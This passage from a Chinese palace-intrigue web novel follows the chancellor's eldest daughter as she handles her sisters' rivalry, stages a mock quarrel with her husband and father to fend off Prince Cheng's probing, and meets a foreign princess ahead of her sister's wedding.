相府一门四女,大女儿嫁了手握南境军的秦王府,次女已赐婚太子,如今三女儿又要做承王正妃。
中都城各府都跑来凑热闹,不少家中有适婚男子的人家把眼睛盯在了宋漓身上。
往日听说四姑娘是妾室所出,本人又很低调,被几个姐姐压着,确实不出彩。
眼下有相爷支持,帮着打理府中事务,见过的妇人无不称赞。私下里都在议论宋明书命好,没有儿子又如何,女儿各个有本事。
宋沅以往总被宋姿压着,一下子飞身成凤凰,倒叫京中不少人眼红,纷纷凑到她跟前祝贺。
习惯了被人围拥的宋姿身边一下子冷清下来,竟有些不适应。
她站在那里假笑,若非娘拉她过来,早就躲起来了。
她看了一圈没见着宋檩的身影,却见宋漓在一旁笑脸迎客,扫了那些妇人一眼,嘲讽道:“又不是什么紧要的贵人,四妹妹这般讨好,莫不是真想去给她们做媳妇?”
宋漓自然听到了她的话,脸上笑容不减,继续招待来客。
“二姐姐此言差矣,来者是客,不论身份如何,热情招待是主人家的礼数。”
她头也不回地回宋姿的话,见了来人立马笑着招待,记住了每一位来府上客人的身份。
在宋沅那里吃瘪就算了,一个宋漓竟也敢叫她碰壁,她可不惯着,“四妹妹摆出这副姿态,不知道的还以为你才是一家之主。”
言下之意便是她没将父亲母亲放在眼里。
无端指责她可不会接,宋漓仍然保持先前的姿势,“二姐姐这话可折煞我了,母亲要为三姐姐清点嫁妆,又要陪客人们说话,难免有照顾不周的地方。”
“爹爹既叫我跟母亲学掌家,自是不敢懒怠。”
宋姿被气得不轻,好一个“不敢懒怠”,惯会拿着鸡毛当令箭。
余光瞥见石子路上慢慢悠悠走过来的人,宋姿眯了眯眼睛,心生一计。
她快步走到台阶边,挥舞着胳膊大声喊,“大姐姐,我们在这!”生怕旁人没听见,她一遍遍地喊,不厌其烦。
拉家常的人都打住声音往这边看,在场的人,见了秦王妃都要行礼。
宋檩一听到她的声音就感觉不妙,好不容易想出来走走,又给整这死出。
眼看着一群人都发现了她,宋檩无法,只得朝林歌使了个眼色,往人群聚集的地方走去。
“给秦王妃请安。”众人纷纷见礼。
宋檩扫了眼纹丝不动的宋姿,那得意模样,好似别人都在给她行礼。
感受到来自宋沅明显不悦的眼神,宋漓又在一旁欲言又止,她猜到是宋姿搞的鬼。
“各位不必拘礼,今日三妹妹是主角,我只是个客人,可不兴喧宾夺主。”她不经意的一句话不仅拉近了与来宾的距离,也成全了宋沅的脸面。
宋沅脸色大好,挤掉宋漓,走过来与她说话。
“大姐姐昨日到得晚,怎么也不多歇歇?”
宋檩眼神询问宋漓可有受伤,后者轻轻摇头,示意她没事。
宋姿知几个姊妹中,宋檩只和宋漓亲近,方才宋沅这么一撞,定是惹了宋檩记恨。
她一脸挑衅地看向宋沅,“妹妹这话说的,不知道的还以为大姐姐仗着身份托大,没把相府放在眼里。”
“不过是姊妹间寻常问候两句,你何故往我身上泼脏水?”若是以前,此刻的宋沅一定会拔高了声音跟她争论。
但今天的她不一样,脸上保持一贯的笑,颇有几分撒娇的感觉。
外人只会觉得姊妹关系好,互相调侃打趣。
“以前都说相府的姑娘关系不好,如今难得一见,明明就相处很好呀!”
“就是,大家伙儿瞧瞧秦王妃,往这一站就是大姑娘的牌面,处处替妹妹们着想,这气度难怪会得秦小王爷欢心!”
“对呀对呀,传言可真是误人!”
一旁的客人都对几人赞赏有加,尤其夸赞宋檩。她不怎么参加集会,等闲也见不到面,便是见了,也只能远远瞧着,根本没有说话的机会。
没想到这么平易近人,毫无王妃的架子。倒是这位平日里样样都好的二姑娘,话里话外带了几分咄咄逼人。
宋姿觉察到她们的眼神变化,捏紧了拳头。
心里早将宋檩骂了八百遍,面上却不显,笑嘻嘻地走上前,“瞧妹妹这话说的,好像我就不关心大姐姐一样!”
“早知如此,我就不说了,省得叫外人看了笑话。”她虽是笑着说的,言语之下却在责怪那些嚼舌根子的人。
今日既不是宋姿的主场,又有秦王妃在,她们本就是说好话,宽秦王妃的心,即便跟太子有婚约,宋姿也没立场指责她们。
听了宋姿的话,一个个都开始不服气。
“还请秦王妃明察,我等并没有看笑话的意思。只是以往对秦王妃不甚了解,道听途说多有误会。”
“就是就是,秦王妃往常鲜少在各府走动,我们都想结识王妃,可惜无门呐!”
“如今好容易跟秦王妃说上话,了解王妃为人,大家伙儿可高兴了!”
有了第一个,其他人就跟着拍马屁。
宋檩站在那里,突然觉得好笑。一群见风使舵的家伙。
她摆了摆手,毫不在乎道:“我还是那句话,今日这里没有秦王妃,只有相府大姑娘,诸位不必拘礼。”
“大姐姐说得对!既然大家来了,那就是我的客人,咱们该吃吃该玩玩!”宋沅见状站了起来,一副主人家姿态。
先前看不上她总围着自己转,眼下她真不奉陪了才知被冷落的滋味。宋姿心里很不好受,又有些不屑。
再等等,等到她嫁给太子,成为太子妃,她一定要那些嘲笑过她的人付出代价!
还有宋檩!她瞪向宋檩的眼神里暗含杀意。
“你们慢慢玩,我先去门口看看。”宋姿那点小心思,她早就看透了,不戳破只是懒得说,毕竟无伤大雅。
但若她非要拉自己下水,那是万万不可能的事情。
“大姐姐要去何处?我们一会儿还要赏花,院子里的腊梅开了,大姐姐不跟我们去吗?”宋沅见她要离去,忙起身挽留
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宋檩瞥了她一眼,面无表情道:“不了,一个朋友快到了,我去门口迎一下。”话落,她便要领着林歌离开。
宋沅拦住她的路,笑着讨好,“大姐姐的朋友?不知是什么样的人物,竟需要大姐姐亲迎?不如让我一同……”
“三妹妹是主角儿,怎好丢下一群人来招待我的朋友?”宋檩毫不留情面地拒绝。
宋姿看得一阵嗤笑,起身道:“大姐姐说得没错,你是主角,可不能叫客人们久等。我不跟你们赏花,先回去了。”
宋沅的脸色很难看,她马上就成为承王妃了,宋檩竟然还不给她好脸色。如果不是知道秦王府对承王有用,她打死也不会来示好。
昨夜与宋漓聊起这几天来府的客人,京兆府的庾夫人今日会携女前来。她和汪不弃也算一见如故,闲来无事转转无妨,倒也并非特地去迎。
“秦王妃!”还没走到大门口就听到有人喊。
汪不弃和庾氏一道进门,远远看见宋檩,她直接叫出声。
庾氏又好气又无奈,一个劲扯她的胳膊,不许她在别人府里大声喧哗。
见宋檩过来,庾氏忙拽着自己的女儿见礼,“见过秦王妃,小女性子跳脱,让王妃见笑了。”
“夫人有礼,汪姑娘性情中人,我瞧着就挺好。”
庾氏尴尬一笑,她的女儿虽不及那些勋贵之女,品性却是极好的。但来者是客,在别人家里大声说话难免失礼。
寻常这样的场合,女儿家都会随母亲一道去认人,庾氏今日带汪不弃来相府也不例外。
不过,从汪不弃的神情看,似乎并不乐意去。
“娘,我可不可以跟秦王妃一起呀?”汪不弃低声询问。
庾氏一脸歉意地看着她,似是有些为难。
宋檩猜想应是汪不弃的婚约出了问题,笑着看向庾氏,“汪姑娘的性子倒是与我投缘,夫人若放心,就留她与我说说话。”
秦王妃肯主动留下女儿,这可是天大的荣耀。
她转身叮嘱汪不弃,“王妃抬举你,可别忘了自己几斤几两,若叫为娘知道你对王妃有冒犯之举,仔细你的皮!”
汪不弃摸着自己被她狠狠戳过的脑门儿,吐了吐舌头,“我知道了,娘你快些去吧!”
待庾氏离开,汪不弃再没有先前的没心没肺样,浑身上下透着说不出的忧伤。
“我印象中的汪姑娘可不是这样的。”宋檩边走边道。
汪不弃久久地望了她一眼,满脸落寞,“王妃只见过我一回,怎知我就是什么样的?”
“我自是不知,但我想,你的父母亲人一定知道。”
汪不弃顿足,突然明白了她的意思。
是呀,在外人眼里,即便不伪装旁人也不见得就认为是真的。真正了解自己的人,伪装再好也无用。
母亲明知她眼下不愿与人相看,才借了秦王妃的好意躲过,又怎会看不出来?不过是爱女心切。
“我明白该怎么做了,多谢王妃。”
宋檩放缓了步子,没有回头,继续往前走。
57. 三人飙演技
“展颜参见王妃!”
林歌陪自家姑娘在院子里闲走,冬日枯景虽没什么可观,融雪坠在枝头又是别样的风姿。
两人正欣赏着,展颜突然到来。
爹爹每回找她都让展颜来传话,若非要事也不会打扰,今日不知有什么事情。
“不必多礼,展护卫过来,是不是爹爹有事找我?”
展颜如实相告,“相爷让属下请王妃去书房。”
“可有说何事?”什么重要的事情得去书房说?
展颜低声道:“承王来了。”
华承坤?宋檩眸子一凝,他来相府做什么?莫非他对宋漓的心思还在?宋檩很快否定了这个想法。
若他当真对宋漓动了心思,应该趁自己不在的时候,何故再借宋明书的手请她面谈?
他这次的目标,应该是自己。
结合先前宋沅的反常之举,就都说得通了。
“姑娘……”林歌也想到了这点,承王或许威胁不到相爷,但未必不能要挟姑娘。
“告诉爹爹,我随后就到。”
展颜得到答复,立马回去复命。
“林歌,你觉得承王会是一个与人坐下来好好谈判的人吗?”宋檩领着她边走边说话。
“不像,”林歌想也没想,摇头道,“他既主动找王妃,多半是有了筹码。”至于是什么,她猜不到。
宋檩赞同她的观点,“你去宋漓身边守着,就说我吩咐的,承王离开前不得离开半步。”
宋漓调教人的本事不错,她身边那个叫灵秀的侍女也是个机灵的,但这些在华承坤手里讨不到好处。
她得再加一重保险。
“属下离开了,姑娘身边没人怎么办?”林歌知四姑娘不能出事,但姑娘更不有事。
宋檩还没开口,已经有人出了声。
“放心吧,你家姑娘我罩了!”瞿昙负手走了过来。
林歌忙见礼。他扬手轻轻一拨,满不在意地来到宋檩身边。
林歌瞥了眼宋檩,才知自家姑娘应是早知王爷在,懊恼自己竟然一直没发现。
相府书房内,宋明书和准女婿聊得很投入,氛围还不错。
“小女被娇惯坏了,性子跳脱,往后还请王爷多担待。”宋明书笑着沏茶,眼神不时瞟向门外。
华承坤抿了口茶,淡笑出声,“宋相哪里的话,本王倒是觉得沅儿的性子很好,率直坦诚,如今能做到这般的人可不多。”
“听说府里的四姑娘深居简出,鲜少在京中露面,今日本王偶尔得见,亦是毫不逊色,宋相养了几个好女儿。”他状似无意地提了句宋漓,宋明书眼皮子一跳。
宋漓确实在府里没什么存在感,他也没怎么关注。
自打阿眠与她说起过,他才关心起这位女儿,洛氏有身孕后,宋漓慢慢接触府中事务,才叫他刮目相看。
阿眠看人一向准,这回也没错。
听承王这话,摆明了是想享齐人之福啊……宋明书鬓间已经开始渗汗了。
“劳王爷挂念,漓儿这孩子性子喜静,不常与外人交流,且还未到及笄之年……”他言下之意便是,四姑娘不急着出嫁。
“本王只是这么一说,算来本王也是四姑娘的半个长辈,见面礼总要有的。”他铁了心要与宋漓见上一面。
宋明书心里着急,天可见的,他可没有要巴结承王的意思。皇上赐婚没办法,但让他在太子和承王之间做选择,他是绝对不会选的。
“这几日府里来了不少客人,漓儿帮着她母亲掌家,忙得脚不离地,等得了空,我一定叫她当面感谢王爷!”
宋明书无法,只能跟他打太极,心里祈祷宋檩快些过来。
“阿眠来了吗?”一见到展颜,宋明书眼睛都直了,恨不得赶紧把人拽进来,跟抓救命稻草似的。
展颜躬身行礼,“相爷,秦王和秦王妃过来了。”
瞿昙那小子也来了?宋明书虽疑惑,但心底里却是高兴,他最满意的就是这个女婿。
宋檩一进门就看到自家爹爹求救的眼神,眼角抽搐,华承坤是对他做了什么吗?
“承王怎么这个时候来相府了?”有瞿昙在,宋檩才不给他行礼。
华承坤的视线落在瞿昙身上,不知为何,他总觉得现在的瞿昙有些不一样。以前总是病恹恹的,脸色也不好,现在嘛……
他心下微惊,莫非瞿昙身上的毒已经解了?
旋即否定自己的猜测,不可能。他当年偷听过皇祖母和父皇的谈话,瞿昙身上的毒根本无解。
“大姑娘这话说的,相府也算本王半个家,如何就来不得?”
大姑娘?这称呼可真刺耳!
瞿昙顶了顶腮帮子,大手一扬,隔着氅衣搂在宋檩腰上,就是往怀里一拉,二人坐在一旁的长凳上。
那张凳子还是宋檩出阁前放的。
“承王也真是的,成亲这么大的事情,也不注意些。”
“大昭习俗,成亲前三天新人见面不吉利,你这般草率来到相府,我那个三妹妹知道了是来见还是不来见?”
大概是他这么多年的温和人设深入人心,便是一贯争强好胜的华承坤也没反应过来。
“还有,承王应该称呼阿眠秦王妃,或者……大姐。”这话多少带了些欠揍的意味。
毕竟是事实,那又怎样?
华承坤憋着一股气,差点没怄死自己。
宋明书眨了眨眼睛,朝一旁同样刚反应过来发生何事的宋檩挤眉弄眼,宋檩欲哭无泪。
有外人在场,且还是自己讨厌的人,宋檩一向不会扫他的面子,很配合地点头,看向华承坤的眼神里满是凝重。
“王爷说得没错,大昭中礼法,承王可莫要落人口舌。”
“是本王的疏忽!”他咬牙切齿道。
华承坤担心自己再不作声,宋明书也会加入谴责自己的行列。
书房里的氛围有些微妙,身边黏着个人,宋檩觉得浑身不自在,想起身却发现腰间的手完全没动静。
借着大氅的遮掩,她在胳膊上狠狠掐了一下,眼神警告他差不多得了。
瞿昙心知小王妃到了忍耐极限,左右目的已经达成,他吃点亏没什么,悻悻收回手。
“爹爹叫女儿来有何要事?”
宋明书满脑子都是“阿眠何时跟瞿家小子关系那么亲密了?”“他怎么也叫阿眠?”“他们竟然当着他的面搂搂抱抱!”。
突然问他事情,脑子根本没反应过来。
终于想了起来,他还没说出口,华承坤抢了先,“其实今日是本王有事想请教秦王妃。”他坐在椅子上,眉眼中多了几
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分不耐烦。
“我一介妇人,如何担得起王爷的请教?”宋檩面上不显,心思却很活络。
华承坤不顾礼法得跑来相府找她,那这件事情一定非她不可。掰着指头数一数,猜出来并不难。
“本王自是确定王妃清楚此事,才来相问。”
这话虽是笑着说出来的,却不达眼底。
宋檩挑眉,他今日有备而来,不是什么好事了。
宋明书心头微颤,一种不好的预感直冲脑门。
“哦?那我倒要听听是何事了。”
华承坤看着她,深邃的眸子里闪过一抹精明,“听闻秦王妃前些日子带了个女子回府,可有此事?”
宋檩回盯着他,疑惑一闪而过。虽然猜到可能跟这事有关,但他又是如何木九儿的?
虽心里疑惑,面上却不显。
“承王殿下这是从哪道听途说的?我怎么不知自己遇到过那样一个女子?”
华承坤眸子暗沉,早料到她不会那么容易配合。
“秦王妃真是贵人多忘事,几天前,城西树林,王妃带走了一个女子……可还需要本王继续说?”
宋檩恍然大悟,故作生气地瞪向瞿昙,“我就说那是个女的吧,你还骗我?”
“王爷若真有意,我也不是不通情达理的人,何故躲躲藏藏养在外头?”她佯作哭泣,不停给人使眼色。
无缘无故被骂的瞿昙两眼发懵,看到她使眼色更是哭笑不得。
“冤枉啊!我何时外头养人了?”
宋明书一听这话就觉得不对劲,他虽不明白事情始末,但承王口中的女子一定跟阿眠脱不了干系。
承王明显是抓住了阿眠的把柄,才敢这般咄咄逼人。
他思来想去,决定先把这趟水搅浑,啪的一掌拍在案桌上,三人齐刷刷看过去。
“瞿家小子,你竟敢背着我儿在外偷人?!”
瞿昙:“……”
宋檩:“……”
华承坤:“……”事情发展好像有点不对。
宋檩眼眸忽动,很快反应过来,掩面抽泣,“难怪那日王爷突然说起带我出城,竟是去会故人了。”
“还让她帮你打掩护!真是欺人太甚!真觉得我相府没人了吗!?”宋明书全身心配合宋檩。
父女俩你一言我一语,话题早就偏离了原来的方向。
华承坤冷眼看着三人互动,真相如何他并不清楚。大婚在即,若此时逼得太过,难免落人话柄。
他虽不信宋檩对木九儿的身份毫不知情,但一个异族人的话又岂可尽信?
“城西树林确实发生了打斗,本王派人去查看过,发现不少尸体。”对方撤退匆忙,只胡乱将尸体埋在了雪堆里,消融过来全部裸露出来。
宋檩故作抹掉眼泪,愤怒出声,“这话倒是提醒了我,承王大概不知道吧,我的护卫就是在那受的伤。”
“承王可知那群凶残之徒是何人?”
华承坤一脸深沉地看着她,“本王不知。”
“那就奇怪了,”宋檩眼里满是疑惑,“我查过,他们就是慕容白的人。”
“承王可要当心些,莫要被些别有用心之人几句断章取义的话离间了去,咱们如今的关系可是非同一般。”她意有所指,又不尽然,听得华承坤心痒痒。
58. 三人飙演技
三人凭借精湛的演技,终于把人打发走,宋檩摊在椅子上喘气。
她是真配合那些奥斯卡影帝影后们,就这么一下子,已经快废掉她半条命,要是再不走就得露馅了。
瞿昙端了茶杯递过去,“怎么样?我配合得还可以吧?”
宋檩接过一口闷,“看不出来啊,秦小王爷也是个演技派!”看向瞿昙的眼神里饱含赞许。
“还有我!阿眠觉得爹爹表现怎么样?”宋明书默默放下杯子,满脸希冀地看着她,像个等待被夸奖的小孩子。
宋檩比了个大拇指,“相当棒!”
“不过爹爹,你就完全不怀疑小王爷?”宋明书一向宠爱她,听到他在外养人竟然能无动于衷,有点费解。
宋明书斜了瞿昙一眼,掩不住眸子里的得意,“他敢!”
“爹爹,承王过来,是不是还有别的心思?”宋沅讨好她无果,华承坤亲自来相府,绝不单单只为了木九儿这一件事。
宋明书眸子微沉,一脸忧愁,“阿眠啊,你也知道,为父没什么大志向,最大的愿望就是你们几人有个好归宿。承王的意思是……”
“她还想要宋漓也嫁进承王府,享齐人之福?”宋檩说完就笑了,她真不知道华承坤是怎么生出这般龌龊心思的。
“宋漓还没及笄,他是打算先养着?”得亏他那副不要脸的样子没在自己跟前,否则宋檩不保证自己不动手,赏他一巴掌算轻的了!
“爹爹不会答应吧?”她看向宋明书的眸子里带着一些危险神色。
宋明书吹着胡子瞪向着,“爹爹是那么糊涂的人吗?”
他就算是将宋漓一直养在身边也不会送去承王府做侧妃。那皇家儿媳岂是人人都能做的?
想到以后的事情,宋檩难免担忧,语重心长道:“爹爹,洛姨娘毕竟是姨娘,做不得相府的主,宋漓的婚事,往后还得爹爹多费些心思。”
“宋沅婚事在即,宋姿想来也不会落后太多,侯氏忙于备嫁之事,分身乏术,才叫宋漓得了掌家权。”
“但侯氏心眼儿小,等她缓过神来未免不会记恨宋漓。一旦她托出手全力对付,宋漓未必应付得了。”
“旁的不说,单指她的婚事,就是最大的掣肘。”
以往的洛姨娘不争不抢尚且是她的眼中钉,以后生下儿子,难保侯宛仪不生出别的心思。
只要她还是相府主母,就握着子女的命脉。何况她完全可以要求洛姨娘把孩子养在自己膝下。
她点到为止,不再继续说。
“阿眠有什么想法?”宋明书是一个通晓事理的人,宋檩说的事情他自然了解。
但他终究是个男儿,对女子婚嫁之事一窍不通。大昭重礼仪,男子主外,府内的事情一概不管。
虽说子女的婚事都是父母之命媒妁之言,但父亲大多时候也只是点个头,根本不会过问太多。
“爹爹不妨问问漓儿妹妹,她一直是个有主见的人。爹爹若问,她一定会说。”
宋檩这话说得很委婉,但言语之下不难听出,她在提醒宋明书多为宋漓和洛姨娘着想。
宋明书赞同她的看法,如今的相府,洛姨娘只能依靠他。侯宛仪的心从不在相府,若叫她得势,相府将永无宁日。
“爹爹会慎重考虑你的提议,往后一定多多和漓儿交流,多问问她的意见。”
“爹爹省得就好。”宋檩知道这些年宋明书偏心自己,疏于对宋漓的关心,她一直渴望得到他的肯定。
宋明书眯着眼睛,一脸欣慰,“阿眠很喜欢漓儿那孩子。”
宋檩抿嘴一笑,嘴角微勾,“她的性子与我很合得来,而且,爹爹没发现么?其实宋漓很有才华,只是不太张扬,外人看着总是不显山不露水。”
“是吗?看来爹爹要多花些心思,跟漓儿交流交流!”宋明书也来了兴趣,身为父亲,都更喜欢与自己性子相似之人,宋漓确实是个可塑之才。
宋檩笑而不语,她已经出嫁,往后长年不在家,有宋漓哄他开心,她也会放心不少。
“说完了漓儿的事情,咱们该聊聊你们俩的事了。”宋明书指着二人,立马正经起来。
“我们……什么事儿?”她一头雾水,压根儿还没反应过来。
宋明书瞪了一眼,“承王说的那女子,怎么回事?”
他了解阿眠,随便几句话可以哄骗了华承坤,却骗不过他的眼睛。如果没什么事情,她就不会狡辩。
宋檩眸子微闪,原以为这事能躲过去,她家美人爹爹这关还真是不好糊弄呀。
她讪讪一笑,“爹爹,既然没别的事情,我和王爷就先回去了。您瞧这天怪冷的,您也好生休息,明日有的忙活。”
说完,还不等宋明书反应过来,她抓起瞿昙的胳膊就往书房外跑,一溜烟没了身影。
宋明书看着跑掉的人,重重叹息一声,笑得宠溺又无奈,“这丫头……真是的!”
“秦王妃性子好,又有主见,相爷不必担心。”展颜来到他身后,望着越来越远的人,宽慰宋明书的心。
“何况属下瞧着夫妇二人很是恩爱。”他就觉得秦王跟秦王妃很般配。
宋明书回头瞪了他一眼,故作威严,“那是自然!”也不看看是谁的女儿!
宋檩拽着人一路小跑,根本顾不得脚下,被雪水洇湿了衣角和裙摆,远远看见了敬方院,她才停下来,弯腰大喘气。
相较之下瞿昙就要轻松多了,被她拽着跑了一路毫无影响。
“王妃这点体力想骑马可不行。”
“骑马是马在跑,又不是我跑,关我的体力什么事?”宋檩毫不客气地反驳。
自打上回去城西树林救人,她发现在这个时代不会骑马真不行,但凡赶时间的事情都做不了。
人命关天岂能耽搁?回来后她就决定学骑马。
天气缘故一直没开始,他这话倒是提醒了自己。
“这想法不对,马是有灵性的家伙,越上乘的马越倔强,若发现你是个弱不禁风的人,绝不会甘愿被驯服。”就如同他的青骢马一样。
“当真?”宋檩对此将信将疑,关于驯马一事,她仅限于文字了解。
瞿昙抬了抬手,示意她往前走,“等天气好些,带你去个地方,你一看就会明白。”
宋檩对他口中的地方生出些好奇,莫非要带自己去牧马场?
一踏进敬方院,瞿昙就吩咐备热水,煮姜汤。宋檩才发现自己的鞋
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子已经湿透了。
在林歌的伺候下泡了个热水澡,换了身干爽衣服走出耳房,发现瞿昙还在,仍穿着早上那身衣服,在她惯常喜欢的摇椅上躺着晃荡,她眉头轻皱。
“钱明中箭一事,王爷已经调查清楚了?”言下之意便是:整日待在敬方院,怎么这么闲呢?
“嫌弃我?”瞿昙挑眉调侃。
倒也没有,只是不希望他今晚继续赖在相府,跟她抢东西。
“公事为重。”
瞿昙继续翻看从屉子里找出来的话本子,漫不经心出声,“放心吧,耽误不了正事。”
这话听着怎么像是……宋檩眼眸一转,踢了张凳子坐在摇椅边,一脸殷切地望着他,“是不是查到了什么?”
她对东海王府知之甚少,也不知背后到底发生了什么,总觉得他查到的东西很有趣。
瞿昙扭头,过了好一会儿才把视线从话本子挪开,毫不意外对上那双被希冀与好奇填满的眼睛。
“你发什么愣?”宋檩见他半天没反应,拿手晃了好几下。
微怔过后,瞿昙不自然地别开眼,“暂时保密,时候一到你自然就知晓了。”
好没意思,宋檩起身欲离开,却被人拽住了手腕。
她扭头疑惑地看着抓住自己手腕的人。
“把姜汤喝了。”瞿昙放下话本子,端过一旁桌子上的姜汤,已经不那么烫了。
宋檩懒得废话,一口干完,打着哈欠往里屋去,“我去补觉了,王爷自便。”
没人跟她抢地盘,这一觉睡得特别扎实,醒来已经是晚上。
宋檩摸了摸咕咕叫的肚子,饿得慌。
“来人。”她清了清嗓子,刚睡醒还带着些沙哑。
“姑娘醒了。”林歌过来打帘,又走到烛台边,点燃了蜡烛。
屋里一下子亮堂起来。
借着烛火的光,宋檩打着哈欠下床,绕过屏风,发现外间屋子里空荡荡的,早没了瞿昙的身影。
她愣了愣,脑袋发懵。
林歌想起王爷离开前交代的话,轻声道:“王爷交代属下在小厨房留了晚膳,说今晚就不过来了。”
恰逢肚子咕噜噜叫出声,宋檩摸着肚子,脸色泛红,“原来睡觉还是个力气活儿,睡着睡着就饿了!”
林歌淡笑道:“属下这就把饭菜端来。”
宋檩着实饿得很,端来的饭菜吃完大半。
“四姑娘那边可有异常?”她摸着吃撑了的肚子在屋子里来回踱步消食,有一搭没一搭问起宋漓的事。
白日里把林歌支去宋漓身边,才不过几个时辰就觉得不适应,最终还是把她跟林武换了一下。
林武没法在近身服侍,宋漓身边有灵秀在,他跟林歌换一下正好合适。
“姑娘放心,这是相府,承王还没那么大胆子。”林歌把从林武那里了解的消息告诉她。
“送亲的人员名单可定下来了?”
林歌知她想问的是四姑娘可在名单里,边收拾桌子边道:“咱们府里的人都定下来了,四姑娘不去。”
“属下估摸着,三姑娘早知承王的心思,一直防着。”
宋檩深以为然,这确实很符合宋沅的行事风格。
59. 她怎么来了
翌日大早,宋檩被说话声吵醒,一脸不耐烦。
昨儿补觉太多,加之晚上吃撑了,后半夜才入睡,没睡几个时辰就被吵醒,心里窝着一股无名火。
“何事这么吵吵嚷嚷的?”宋檩捏了捏眉心,不耐烦地坐起身。
林歌推门入内,“外头吵得更热闹,咱们敬方院已经算清静得了。”
宋檩坐在桌子旁,自己动手倒了杯温水,狐疑开口,“宋沅不嫁了?”
“……姑娘真会说笑。”三姑娘好不容易得了这门如意婚事,岂会放弃?
她将帕子打湿,替宋檩擦拭脖子,“属下去打听了一下,说是今儿卫使府没来人,三姑娘和二姑娘吵上了。”
宋檩放下水杯,眼睛里装着大大的疑惑,“卫使府的人为何要过来?”
且不说宋沅和侯悦同一天进承王府,那侯悦仗着自己出身高贵,平日里连宋姿都没放在心上,一个小小的宋沅做了正妃不说,还想借卫使府的势,怎么可能?
老皇帝算是给了侯振培一个下马威,这个时候夹紧尾巴比什么都强,自然不会来相府耀武扬威。
林歌瞧她那模样,好像对婚嫁之事并不了解。
犹豫道:“按大昭的习俗,新人出嫁前一天,会有外祖家的亲戚前来,商定次日送亲随行人员。”
“咱们府里的送亲人员是定了,就等着今儿和舅舅家商议。”
“卫使府不来人,就会少了人,三姑娘自是不乐意。”
宋檩了然,这不怪她不知情。自己虽成过亲,外祖家却早就没人了,一定是宋明书怕她伤心才没提起这事。
华承璟知道她的身份,自然不会再送嫁。
林歌见她安静下来,拿着帕子给人擦脸。温热的帕子铺在脸上,一大早被吵醒的烦恼消减不少。
“宋沅不乐意,为何跟宋姿吵架?”声音隔着帕子,听起来闷闷的。
这声音听起来很正常,并没有心情不好的样子,待擦拭完,林歌将帕子丢进水盆,“这又是另外的事情了,起初三姑娘没有跟二姑娘争,而是同侯氏力争。”
“想让她去卫使府请人?”宋檩觉得不可思议。
以宋沅的智商,应当做不出这样的蠢事。
若今日她们入了卫使府的门,往后嫁去承王府,便是正妃,在侯悦面前她也抬不起头来。
承王此人的性子,她不认为宋沅毫不知晓,他的身边只留有用之人。
一旦发现毫无用处,管她正妃侧妃,相府女还是卫使府女,都一样是弃子。
林歌摇头,“三姑娘是想让侯氏把卫使府那份给补上。”
“侯氏没同意?”好歹给她长了脸,这种时候不该掏私库也要填上么?
“侯氏倒是愿意的……不过,二姑娘不同意。”林歌说着说着就笑了,“按照相府给姑娘准备的嫁妆份额,姑娘的是独一份,文夫人、相爷和五殿下都有给私产,其他人自然比不上。”
“二姑娘要嫁给太子,侯氏准备嫁妆的时候就有些偏颇,眼下三姑娘又嫁给承王,都是皇子正妃,填上差额自是乐意。”
“只是这么一算下来,三姑娘的嫁妆比二姑娘还要高出些许。”
“那二姑娘一贯心高气傲,样样争强好胜,自然不干了。”
宋檩算是听明白了,吵来吵去不过是为了嫁妆。
宋明书不会阻止侯宛仪从府中公款出嫁妆,但那样势必三姊妹都得一视同仁,侯宛仪不会愿意。
单凭她自己那点嫁妆和这些年攒下来的私房钱,再如何也是杯水车薪,有什么可争的?
林歌也看不上她们那点嫁妆,姑娘的嫁妆单子是她拟定的,厚厚一沓核对的时候眼睛都花了。
“四姑娘已经把早膳送过来了,姑娘是现在用还是再等会儿?”
宋檩掩嘴打了个哈欠,“现在吃吧。”
吃完再去外头转转,有热闹不看白不看。
万万没想到的是,会在今天这个特殊的日子特殊的地方,碰到个算不得熟悉的老熟人。
更确切地说,她就是专程在等自己。
“秦王妃,我们又见面了!”慕容茹素一看见她就走过来,完全不给人躲开的机会。
穿着打扮还是一如既往的张扬,一身绛红色骑服配上小麦色的皮肤,一眼就能辨出和大昭女子的不同。
倒是忘了还有这么一位胡人公主在中都了。
“公主来了相府,怎么也不拆人通禀一声?”她言语中礼貌有加,行为上纹丝不动。
慕容茹素毫不在意地摆了摆手,“本公主不在乎那些细节,秦王妃不必如此!用你们大昭的话来说,客随主便。”
好一个客随主便,这段时间没少学习,宋檩饶有趣味地打量起来,眸中闪过一抹怪异之色,“茹素公主在中都这些日子,可还习惯?”
“自然!昭皇陛下待我很好,就是中都的女人娇了些,鲜少遇到秦王妃这样合眼缘的人。”她大声吐槽。
“率性而为信马由缰的草原生活,公主都忘了?”宋檩继续试探。
她眼中一闪而过的落寞恰被宋檩捉住,“思乡乃人之本性,公主不必觉得不好意思。”
在秦王妃面前,慕容茹素几战几败,起初还有些扳回一局的想法,次数多了就不那么想了。
眼下她只想赶快结束这个话题。
“听闻相府的四姑娘性子不错,本公主今日来就是想见一见。”
宋檩心生警觉,眯眼盯着她,“哪个乱嚼舌根的人竟敢在茹素公主跟前胡说八道?我那个四妹妹一向木讷,半天憋不住一个字,公主嫌弃旁人娇,就不嫌她木了?”
果然如承王所说,秦王妃对这个四妹妹在乎得紧,慕容茹素心有计较。
“能叫秦王妃觉得木的人,那一定非比寻常,本公主更要见一见了!”她双手抱胸,仰起脑袋,大有非见上一面不可的架势。
宋檩眉头紧锁,朝林歌使了个眼色,林歌领会离开。
“听说,承王和我三妹妹成亲之后,和亲事宜要提上日程了,想是圣上已有合适的人员,本王妃先在此恭喜公主了。”
说者轻巧说着恭喜,听的人却白了脸。
王兄说过,依着昭皇的心思,不会将她嫁给有权有势的人,也不可能嫁给她想嫁的人,只能从皇戚当中选些纨绔之子。
一想到她堂
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堂一国公主要嫁给那些不争气的男人,在后院中蹉跎半辈子,就觉得日子难熬。
她喜欢的是华承璟那般骑着马纵横疆场之人!哪怕他是王庭的敌人。
眼下王庭已经抛弃了王兄,若她再无用处,兄妹二人往后将再无倚仗,她必须狠下心,在太子和承王之间做出选择。
便是侧妃,于王兄亦是助力。
“我只是个战败国的和亲公主,一切都是身不由己,何来恭喜之言。”
“倒是秦王妃,有宋相这样的好父亲,又有五皇子那样优秀的兄长,秦小王爷后院更是只有你一人,当真令人羡慕得很。”她看向宋檩眸中的羡慕,挡都挡不住。
宋檩摸了摸下巴,若不是她说出来,都不知道自己这么让人羡慕呐!
只是很可惜,旁人的看法她一向不在乎,自然也不会管她说了什么,只淡笑道:“幸福是靠自己争取的,公主不必气馁。”
慕容茹素摇了摇头,“今日前来,实则是有一件事情想要拜托秦王妃。”
